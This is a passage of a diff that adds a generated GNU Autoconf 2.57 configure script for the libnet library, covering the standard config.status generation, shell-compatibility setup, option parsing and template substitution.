+ test "x$cache_file" != "x/dev/null" && echo "updating cache $cache_file"
+ cat confcache >$cache_file
+ else
+ echo "not updating unwritable cache $cache_file"
+ fi
+fi
+rm -f confcache
+
+test "x$prefix" = xNONE && prefix=$ac_default_prefix
+# Let make expand exec_prefix.
+test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
+
+# VPATH may cause trouble with some makes, so we remove $(srcdir),
+# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and
+# trailing colons and then remove the whole line if VPATH becomes empty
+# (actually we leave an empty line to preserve line numbers).
+if test "x$srcdir" = x.; then
+ ac_vpsub='/^[ ]*VPATH[ ]*=/{
+s/:*\$(srcdir):*/:/;
+s/:*\${srcdir}:*/:/;
+s/:*@srcdir@:*/:/;
+s/^\([^=]*=[ ]*\):*/\1/;
+s/:*$//;
+s/^[^=]*=[ ]*$//;
+}'
+fi
+
+DEFS=-DHAVE_CONFIG_H
+
+ac_libobjs=
+ac_ltlibobjs=
+for ac_i in : $LIB@&t@OBJS; do test "x$ac_i" = x: && continue
+ # 1. Remove the extension, and $U if already installed.
+ ac_i=`echo "$ac_i" |
+ sed 's/\$U\././;s/\.o$//;s/\.obj$//'`
+ # 2. Add them.
+ ac_libobjs="$ac_libobjs $ac_i\$U.$ac_objext"
+ ac_ltlibobjs="$ac_ltlibobjs $ac_i"'$U.lo'
+done
+LIB@&t@OBJS=$ac_libobjs
+
+LTLIBOBJS=$ac_ltlibobjs
+
+
+if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then
+ { { echo "$as_me:$LINENO: error: conditional \"MAINTAINER_MODE\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"MAINTAINER_MODE\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
+ { { echo "$as_me:$LINENO: error: conditional \"AMDEP\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"AMDEP\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+: ${CONFIG_STATUS=./config.status}
+ac_clean_files_save=$ac_clean_files
+ac_clean_files="$ac_clean_files $CONFIG_STATUS"
+{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5
+echo "$as_me: creating $CONFIG_STATUS" >&6;}
+cat >$CONFIG_STATUS <<_ACEOF
+#! $SHELL
+# Generated by $as_me.
+# Run this file to recreate the current configuration.
+# Compiler output produced by configure, useful for debugging
+# configure, is in config.log if it exists.
+
+debug=false
+ac_cs_recheck=false
+ac_cs_silent=false
+SHELL=\${CONFIG_SHELL-$SHELL}
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+## --------------------- ##
+## M4sh Initialization. ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+ emulate sh
+ NULLCMD=:
+ # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+ # is contrary to our usage. Disable this feature.
+ alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+ set -o posix
+fi
+
+# Support unset when possible.
+if (FOO=FOO; unset FOO) >/dev/null 2>&1; then
+ as_unset=unset
+else
+ as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+ LC_TELEPHONE LC_TIME
+do
+ if (set +x; test -n "`(eval $as_var=C; export $as_var) 2>&1`"); then
+ eval $as_var=C; export $as_var
+ else
+ $as_unset $as_var
+ fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+ as_basename=basename
+else
+ as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+ X"$0" : 'X\(//\)$' \| \
+ X"$0" : 'X\(/\)$' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+ sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+ /^X\/\(\/\/\)$/{ s//\1/; q; }
+ /^X\/\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+
+
+# PATH needs CR, and LINENO needs CR and PATH.
+# Avoid depending upon Character Ranges.
+as_cr_letters='abcdefghijklmnopqrstuvwxyz'
+as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+as_cr_Letters=$as_cr_letters$as_cr_LETTERS
+as_cr_digits='0123456789'
+as_cr_alnum=$as_cr_Letters$as_cr_digits
+
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+ echo "#! /bin/sh" >conf$$.sh
+ echo "exit 0" >>conf$$.sh
+ chmod +x conf$$.sh
+ if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
+ PATH_SEPARATOR=';'
+ else
+ PATH_SEPARATOR=:
+ fi
+ rm -f conf$$.sh
+fi
+
+
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" || {
+ # Find who we are. Look in the path if we contain no path at all
+ # relative or not.
+ case $0 in
+ *[\\/]* ) as_myself=$0 ;;
+ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
+done
+
+ ;;
+ esac
+ # We did not find ourselves, most probably we were run as `sh COMMAND'
+ # in which case we are not to be found in the path.
+ if test "x$as_myself" = x; then
+ as_myself=$0
+ fi
+ if test ! -f "$as_myself"; then
+ { { echo "$as_me:$LINENO: error: cannot find myself; rerun with an absolute path" >&5
+echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2;}
+ { (exit 1); exit 1; }; }
+ fi
+ case $CONFIG_SHELL in
+ '')
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for as_base in sh bash ksh sh5; do
+ case $as_dir in
+ /*)
+ if ("$as_dir/$as_base" -c '
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then
+ $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; }
+ $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; }
+ CONFIG_SHELL=$as_dir/$as_base
+ export CONFIG_SHELL
+ exec "$CONFIG_SHELL" "$0" ${1+"$@"}
+ fi;;
+ esac
+ done
+done
+;;
+ esac
+
+ # Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+ # uniformly replaced by the line number. The first 'sed' inserts a
+ # line-number line before each line; the second 'sed' does the real
+ # work. The second script uses 'N' to pair each line-number line
+ # with the numbered line, and appends trailing '-' during
+ # substitution so that $LINENO is not a special case at line end.
+ # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+ # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-)
+ sed '=' <$as_myself |
+ sed '
+ N
+ s,$,-,
+ : loop
+ s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3,
+ t loop
+ s,-$,,
+ s,^['$as_cr_digits']*\n,,
+ ' >$as_me.lineno &&
+ chmod +x $as_me.lineno ||
+ { { echo "$as_me:$LINENO: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&5
+echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2;}
+ { (exit 1); exit 1; }; }
+
+ # Don't try to exec as it changes $[0], causing all sort of problems
+ # (the dirname of $[0] is not the place where we might find the
+ # original and so on. Autoconf is especially sensible to this).
+ . ./$as_me.lineno
+ # Exit status is that of the last command.
+ exit
+}
+
+
+case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
+ *c*,-n*) ECHO_N= ECHO_C='
+' ECHO_T=' ' ;;
+ *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;;
+ *) ECHO_N= ECHO_C='\c' ECHO_T= ;;
+esac
+
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+rm -f conf$$ conf$$.exe conf$$.file
+echo >conf$$.file
+if ln -s conf$$.file conf$$ 2>/dev/null; then
+ # We could just check for DJGPP; but this test a) works b) is more generic
+ # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04).
+ if test -f conf$$.exe; then
+ # Don't use ln at all; we don't have any links
+ as_ln_s='cp -p'
+ else
+ as_ln_s='ln -s'
+ fi
+elif ln conf$$.file conf$$ 2>/dev/null; then
+ as_ln_s=ln
+else
+ as_ln_s='cp -p'
+fi
+rm -f conf$$ conf$$.exe conf$$.file
+
+if mkdir -p . 2>/dev/null; then
+ as_mkdir_p=:
+else
+ as_mkdir_p=false
+fi
+
+as_executable_p="test -f"
+
+# Sed expression to map a string onto a valid CPP name.
+as_tr_cpp="sed y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g"
+
+# Sed expression to map a string onto a valid variable name.
+as_tr_sh="sed y%*+%pp%;s%[^_$as_cr_alnum]%_%g"
+
+
+# IFS
+# We need space, tab and new line, in precisely that order.
+as_nl='
+'
+IFS=" $as_nl"
+
+# CDPATH.
+$as_unset CDPATH
+
+exec 6>&1
+
+# Open the log real soon, to keep \$[0] and so on meaningful, and to
+# report actual input values of CONFIG_FILES etc. instead of their
+# values after options handling. Logging --version etc. is OK.
+exec 5>>config.log
+{
+ echo
+ sed 'h;s/./-/g;s/^.../@%:@@%:@ /;s/...$/ @%:@@%:@/;p;x;p;x' <<_ASBOX
+@%:@@%:@ Running $as_me. @%:@@%:@
+_ASBOX
+} >&5
+cat >&5 <<_CSEOF
+
+This file was extended by $as_me, which was
+generated by GNU Autoconf 2.57. Invocation command line was
+
+ CONFIG_FILES = $CONFIG_FILES
+ CONFIG_HEADERS = $CONFIG_HEADERS
+ CONFIG_LINKS = $CONFIG_LINKS
+ CONFIG_COMMANDS = $CONFIG_COMMANDS
+ $ $0 $@
+
+_CSEOF
+echo "on `(hostname || uname -n) 2>/dev/null | sed 1q`" >&5
+echo >&5
+_ACEOF
+
+# Files that config.status was made for.
+if test -n "$ac_config_files"; then
+ echo "config_files=\"$ac_config_files\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_headers"; then
+ echo "config_headers=\"$ac_config_headers\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_links"; then
+ echo "config_links=\"$ac_config_links\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_commands"; then
+ echo "config_commands=\"$ac_config_commands\"" >>$CONFIG_STATUS
+fi
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+ac_cs_usage="\
+\`$as_me' instantiates files from templates according to the
+current configuration.
+
+Usage: $0 [OPTIONS] [FILE]...
+
+ -h, --help print this help, then exit
+ -V, --version print version number, then exit
+ -q, --quiet do not print progress messages
+ -d, --debug don't remove temporary files
+ --recheck update $as_me by reconfiguring in the same conditions
+ --file=FILE[:TEMPLATE]
+ instantiate the configuration file FILE
+ --header=FILE[:TEMPLATE]
+ instantiate the configuration header FILE
+
+Configuration files:
+$config_files
+
+Configuration headers:
+$config_headers
+
+Configuration commands:
+$config_commands
+
+Report bugs to <bug-autoconf@gnu.org>."
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+ac_cs_version="\\
+config.status
+configured by $0, generated by GNU Autoconf 2.57,
+ with options \\"`echo "$ac_configure_args" | sed 's/[\\""\`\$]/\\\\&/g'`\\"
+
+Copyright 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001
+Free Software Foundation, Inc.
+This config.status script is free software; the Free Software Foundation
+gives unlimited permission to copy, distribute and modify it."
+srcdir=$srcdir
+INSTALL="$INSTALL"
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+# If no file are specified by the user, then we need to provide default
+# value. By we need to know if files were specified by the user.
+ac_need_defaults=:
+while test $# != 0
+do
+ case $1 in
+ --*=*)
+ ac_option=`expr "x$1" : 'x\([^=]*\)='`
+ ac_optarg=`expr "x$1" : 'x[^=]*=\(.*\)'`
+ ac_shift=:
+ ;;
+ -*)
+ ac_option=$1
+ ac_optarg=$2
+ ac_shift=shift
+ ;;
+ *) # This is not an option, so the user has probably given explicit
+ # arguments.
+ ac_option=$1
+ ac_need_defaults=false;;
+ esac
+
+ case $ac_option in
+ # Handling of the options.
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+ -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r)
+ ac_cs_recheck=: ;;
+ --version | --vers* | -V )
+ echo "$ac_cs_version"; exit 0 ;;
+ --he | --h)
+ # Conflict between --help and --header
+ { { echo "$as_me:$LINENO: error: ambiguous option: $1
+Try \`$0 --help' for more information." >&5
+echo "$as_me: error: ambiguous option: $1
+Try \`$0 --help' for more information." >&2;}
+ { (exit 1); exit 1; }; };;
+ --help | --hel | -h )
+ echo "$ac_cs_usage"; exit 0 ;;
+ --debug | --d* | -d )
+ debug=: ;;
+ --file | --fil | --fi | --f )
+ $ac_shift
+ CONFIG_FILES="$CONFIG_FILES $ac_optarg"
+ ac_need_defaults=false;;
+ --header | --heade | --head | --hea )
+ $ac_shift
+ CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg"
+ ac_need_defaults=false;;
+ -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+ | -silent | --silent | --silen | --sile | --sil | --si | --s)
+ ac_cs_silent=: ;;
+
+ # This is an error.
+ -*) { { echo "$as_me:$LINENO: error: unrecognized option: $1
+Try \`$0 --help' for more information." >&5
+echo "$as_me: error: unrecognized option: $1
+Try \`$0 --help' for more information." >&2;}
+ { (exit 1); exit 1; }; } ;;
+
+ *) ac_config_targets="$ac_config_targets $1" ;;
+
+ esac
+ shift
+done
+
+ac_configure_extra_args=
+
+if $ac_cs_silent; then
+ exec 6>/dev/null
+ ac_configure_extra_args="$ac_configure_extra_args --silent"
+fi
+
+_ACEOF
+cat >>$CONFIG_STATUS <<_ACEOF
+if \$ac_cs_recheck; then
+ echo "running $SHELL $0 " $ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6
+ exec $SHELL $0 $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion
+fi
+
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+#
+# INIT-COMMANDS section.
+#
+
+AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"
+
+_ACEOF
+
+
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+for ac_config_target in $ac_config_targets
+do
+ case "$ac_config_target" in
+ # Handling of arguments.
+ "Makefile" ) CONFIG_FILES="$CONFIG_FILES Makefile" ;;
+ "src/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/Makefile" ;;
+ "include/Makefile" ) CONFIG_FILES="$CONFIG_FILES include/Makefile" ;;
+ "include/libnet/Makefile" ) CONFIG_FILES="$CONFIG_FILES include/libnet/Makefile" ;;
+ "sample/Makefile" ) CONFIG_FILES="$CONFIG_FILES sample/Makefile" ;;
+ "version.h" ) CONFIG_FILES="$CONFIG_FILES version.h" ;;
+ "include/libnet.h" ) CONFIG_FILES="$CONFIG_FILES include/libnet.h" ;;
+ "libnet-config" ) CONFIG_FILES="$CONFIG_FILES libnet-config" ;;
+ "depfiles" ) CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
+ "default" ) CONFIG_COMMANDS="$CONFIG_COMMANDS default" ;;
+ "include/config.h" ) CONFIG_HEADERS="$CONFIG_HEADERS include/config.h" ;;
+ *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5
+echo "$as_me: error: invalid argument: $ac_config_target" >&2;}
+ { (exit 1); exit 1; }; };;
+ esac
+done
+
+# If the user did not use the arguments to specify the items to instantiate,
+# then the envvar interface is used. Set only those that are not.
+# We use the long form for the default assignment because of an extremely
+# bizarre bug on SunOS 4.1.3.
+if $ac_need_defaults; then
+ test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files
+ test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers
+ test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands
+fi
+
+# Have a temporary directory for convenience. Make it in the build tree
+# simply because there is no reason to put it here, and in addition,
+# creating and moving files from /tmp can sometimes cause problems.
+# Create a temporary directory, and hook for its removal unless debugging.
+$debug ||
+{
+ trap 'exit_status=$?; rm -rf $tmp && exit $exit_status' 0
+ trap '{ (exit 1); exit 1; }' 1 2 13 15
+}
+
+# Create a (secure) tmp directory for tmp files.
+
+{
+ tmp=`(umask 077 && mktemp -d -q "./confstatXXXXXX") 2>/dev/null` &&
+ test -n "$tmp" && test -d "$tmp"
+} ||
+{
+ tmp=./confstat$$-$RANDOM
+ (umask 077 && mkdir $tmp)
+} ||
+{
+ echo "$me: cannot create a temporary directory in ." >&2
+ { (exit 1); exit 1; }
+}
+
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+
+#
+# CONFIG_FILES section.
+#
+
+# No need to generate the scripts if there are no CONFIG_FILES.
+# This happens for instance when ./config.status config.h
+if test -n "\$CONFIG_FILES"; then
+ # Protect against being on the right side of a sed subst in config.status.
+ sed 's/,@/@@/; s/@,/@@/; s/,;t t\$/@;t t/; /@;t t\$/s/[\\\\&,]/\\\\&/g;
+ s/@@/,@/; s/@@/@,/; s/@;t t\$/,;t t/' >\$tmp/subs.sed <<\\CEOF
+s,@SHELL@,$SHELL,;t t
+s,@PATH_SEPARATOR@,$PATH_SEPARATOR,;t t
+s,@PACKAGE_NAME@,$PACKAGE_NAME,;t t
+s,@PACKAGE_TARNAME@,$PACKAGE_TARNAME,;t t
+s,@PACKAGE_VERSION@,$PACKAGE_VERSION,;t t
+s,@PACKAGE_STRING@,$PACKAGE_STRING,;t t
+s,@PACKAGE_BUGREPORT@,$PACKAGE_BUGREPORT,;t t
+s,@exec_prefix@,$exec_prefix,;t t
+s,@prefix@,$prefix,;t t
+s,@program_transform_name@,$program_transform_name,;t t
+s,@bindir@,$bindir,;t t
+s,@sbindir@,$sbindir,;t t
+s,@libexecdir@,$libexecdir,;t t
+s,@datadir@,$datadir,;t t
+s,@sysconfdir@,$sysconfdir,;t t
+s,@sharedstatedir@,$sharedstatedir,;t t
+s,@localstatedir@,$localstatedir,;t t
+s,@libdir@,$libdir,;t t
+s,@includedir@,$includedir,;t t
+s,@oldincludedir@,$oldincludedir,;t t
+s,@infodir@,$infodir,;t t
+s,@mandir@,$mandir,;t t
+s,@build_alias@,$build_alias,;t t
+s,@host_alias@,$host_alias,;t t
+s,@target_alias@,$target_alias,;t t
+s,@DEFS@,$DEFS,;t t
+s,@ECHO_C@,$ECHO_C,;t t
+s,@ECHO_N@,$ECHO_N,;t t
+s,@ECHO_T@,$ECHO_T,;t t
+s,@LIBS@,$LIBS,;t t
+s,@build@,$build,;t t
+s,@build_cpu@,$build_cpu,;t t
+s,@build_vendor@,$build_vendor,;t t
+s,@build_os@,$build_os,;t t
+s,@host@,$host,;t t
+s,@host_cpu@,$host_cpu,;t t
+s,@host_vendor@,$host_vendor,;t t
+s,@host_os@,$host_os,;t t
+s,@target@,$target,;t t
+s,@target_cpu@,$target_cpu,;t t
+s,@target_vendor@,$target_vendor,;t t
+s,@target_os@,$target_os,;t t
+s,@INSTALL_PROGRAM@,$INSTALL_PROGRAM,;t t
+s,@INSTALL_SCRIPT@,$INSTALL_SCRIPT,;t t
+s,@INSTALL_DATA@,$INSTALL_DATA,;t t
+s,@PACKAGE@,$PACKAGE,;t t
+s,@VERSION@,$VERSION,;t t
+s,@ACLOCAL@,$ACLOCAL,;t t
+s,@AUTOCONF@,$AUTOCONF,;t t
+s,@AUTOMAKE@,$AUTOMAKE,;t t
+s,@AUTOHEADER@,$AUTOHEADER,;t t
+s,@MAKEINFO@,$MAKEINFO,;t t
+s,@AMTAR@,$AMTAR,;t t
+s,@install_sh@,$install_sh,;t t
+s,@STRIP@,$STRIP,;t t
+s,@ac_ct_STRIP@,$ac_ct_STRIP,;t t
+s,@INSTALL_STRIP_PROGRAM@,$INSTALL_STRIP_PROGRAM,;t t
+s,@AWK@,$AWK,;t t
+s,@SET_MAKE@,$SET_MAKE,;t t
+s,@MAINTAINER_MODE_TRUE@,$MAINTAINER_MODE_TRUE,;t t
+s,@MAINTAINER_MODE_FALSE@,$MAINTAINER_MODE_FALSE,;t t
+s,@MAINT@,$MAINT,;t t
+s,@CC@,$CC,;t t
+s,@CFLAGS@,$CFLAGS,;t t
+s,@LDFLAGS@,$LDFLAGS,;t t
+s,@CPPFLAGS@,$CPPFLAGS,;t t
+s,@ac_ct_CC@,$ac_ct_CC,;t t
+s,@EXEEXT@,$EXEEXT,;t t
+s,@OBJEXT@,$OBJEXT,;t t
+s,@DEPDIR@,$DEPDIR,;t t
+s,@am__include@,$am__include,;t t
+s,@am__quote@,$am__quote,;t t
+s,@AMDEP_TRUE@,$AMDEP_TRUE,;t t
+s,@AMDEP_FALSE@,$AMDEP_FALSE,;t t
+s,@AMDEPBACKSLASH@,$AMDEPBACKSLASH,;t t
+s,@CCDEPMODE@,$CCDEPMODE,;t t
+s,@RANLIB@,$RANLIB,;t t
+s,@ac_ct_RANLIB@,$ac_ct_RANLIB,;t t
+s,@CPP@,$CPP,;t t
+s,@EGREP@,$EGREP,;t t
+s,@ENDIANESS@,$ENDIANESS,;t t
+s,@LIBNET_VERSION@,$LIBNET_VERSION,;t t
+s,@HAVE_PACKET_SOCKET@,$HAVE_PACKET_SOCKET,;t t
+s,@ADDITIONAL_LIBS@,$ADDITIONAL_LIBS,;t t
+s,@LIBNET_CONFIG_DEFINES@,$LIBNET_CONFIG_DEFINES,;t t
+s,@LIBNET_CONFIG_LIBS@,$LIBNET_CONFIG_LIBS,;t t
+s,@LIBNET_CONFIG_CFLAGS@,$LIBNET_CONFIG_CFLAGS,;t t
+s,@LIB@&t@OBJS@,$LIB@&t@OBJS,;t t
+s,@LTLIBOBJS@,$LTLIBOBJS,;t t
+CEOF
+
+_ACEOF
+
+ cat >>$CONFIG_STATUS <<\_ACEOF
+ # Split the substitutions into bite-sized pieces for seds with
+ # small command number limits, like on Digital OSF/1 and HP-UX.
+ ac_max_sed_lines=48
+ ac_sed_frag=1 # Number of current file.
+ ac_beg=1 # First line for current file.
+ ac_end=$ac_max_sed_lines # Line after last line for current file.
+ ac_more_lines=:
+ ac_sed_cmds=
+ while $ac_more_lines; do
+ if test $ac_beg -gt 1; then
+ sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag
+ else
+ sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag
+ fi
+ if test ! -s $tmp/subs.frag; then
+ ac_more_lines=false
+ else
+ # The purpose of the label and of the branching condition is to
+ # speed up the sed processing (if there are no `@' at all, there
+ # is no need to browse any of the substitutions).
+ # These are the two extra sed commands mentioned above.
+ (echo ':t
+ /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_sed_frag.sed
+ if test -z "$ac_sed_cmds"; then
+ ac_sed_cmds="sed -f $tmp/subs-$ac_sed_frag.sed"
+ else
+ ac_sed_cmds="$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed"
+ fi
+ ac_sed_frag=`expr $ac_sed_frag + 1`
+ ac_beg=$ac_end
+ ac_end=`expr $ac_end + $ac_max_sed_lines`
+ fi
+ done
+ if test -z "$ac_sed_cmds"; then
+ ac_sed_cmds=cat
+ fi
+fi # test -n "$CONFIG_FILES"
+
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+for ac_file in : $CONFIG_FILES; do test "x$ac_file" = x: && continue
+ # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
+ case $ac_file in
+ - | *:- | *:-:* ) # input from stdin
+ cat >$tmp/stdin
+ ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ * ) ac_file_in=$ac_file.in ;;
+ esac
+
+ # Compute @srcdir@, @top_srcdir@, and @INSTALL@ for subdirectories.
+ ac_dir=`(dirname "$ac_file") 2>/dev/null ||
+$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$ac_file" : 'X\(//\)[^/]' \| \
+ X"$ac_file" : 'X\(//\)$' \| \
+ X"$ac_file" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$ac_file" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ { if $as_mkdir_p; then
+ mkdir -p "$ac_dir"
+ else
+ as_dir="$ac_dir"
+ as_dirs=
+ while test ! -d "$as_dir"; do
+ as_dirs="$as_dir $as_dirs"
+ as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$as_dir" : 'X\(//\)[^/]' \| \
+ X"$as_dir" : 'X\(//\)$' \| \
+ X"$as_dir" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ done
+ test ! -n "$as_dirs" || mkdir $as_dirs
+ fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+ { (exit 1); exit 1; }; }; }
+
+ ac_builddir=.
+
+if test "$ac_dir" != .; then
+ ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+ # A "../" for each directory in $ac_dir_suffix.
+ ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+ ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+ .) # No --srcdir option. We are building in place.
+ ac_srcdir=.
+ if test -z "$ac_top_builddir"; then
+ ac_top_srcdir=.
+ else
+ ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+ fi ;;
+ [\\/]* | ?:[\\/]* ) # Absolute path.
+ ac_srcdir=$srcdir$ac_dir_suffix;
+ ac_top_srcdir=$srcdir ;;
+ *) # Relative path.
+ ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+ ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+# Don't blindly perform a `cd "$ac_dir"/$ac_foo && pwd` since $ac_foo can be
+# absolute.
+ac_abs_builddir=`cd "$ac_dir" && cd $ac_builddir && pwd`
+ac_abs_top_builddir=`cd "$ac_dir" && cd ${ac_top_builddir}. && pwd`
+ac_abs_srcdir=`cd "$ac_dir" && cd $ac_srcdir && pwd`
+ac_abs_top_srcdir=`cd "$ac_dir" && cd $ac_top_srcdir && pwd`
+
+
+ case $INSTALL in
+ [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;;
+ *) ac_INSTALL=$ac_top_builddir$INSTALL ;;
+ esac
+
+ if test x"$ac_file" != x-; then
+ { echo "$as_me:$LINENO: creating $ac_file" >&5
+echo "$as_me: creating $ac_file" >&6;}
+ rm -f "$ac_file"
+ fi
+ # Let's still pretend it is `configure' which instantiates (i.e., don't
+ # use $as_me), people would be surprised to read:
+ # /* config.h. Generated by config.status. */
+ if test x"$ac_file" = x-; then
+ configure_input=
+ else
+ configure_input="$ac_file. "
+ fi
+ configure_input=$configure_input"Generated from `echo $ac_file_in |
+ sed 's,.*/,,'` by configure."
+
+ # First look for the input files in the build tree, otherwise in the
+ # src tree.
+ ac_file_inputs=`IFS=:
+ for f in $ac_file_in; do
+ case $f in
+ -) echo $tmp/stdin ;;
+ [\\/$]*)
+ # Absolute (can't be DOS-style, as IFS=:)
+ test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
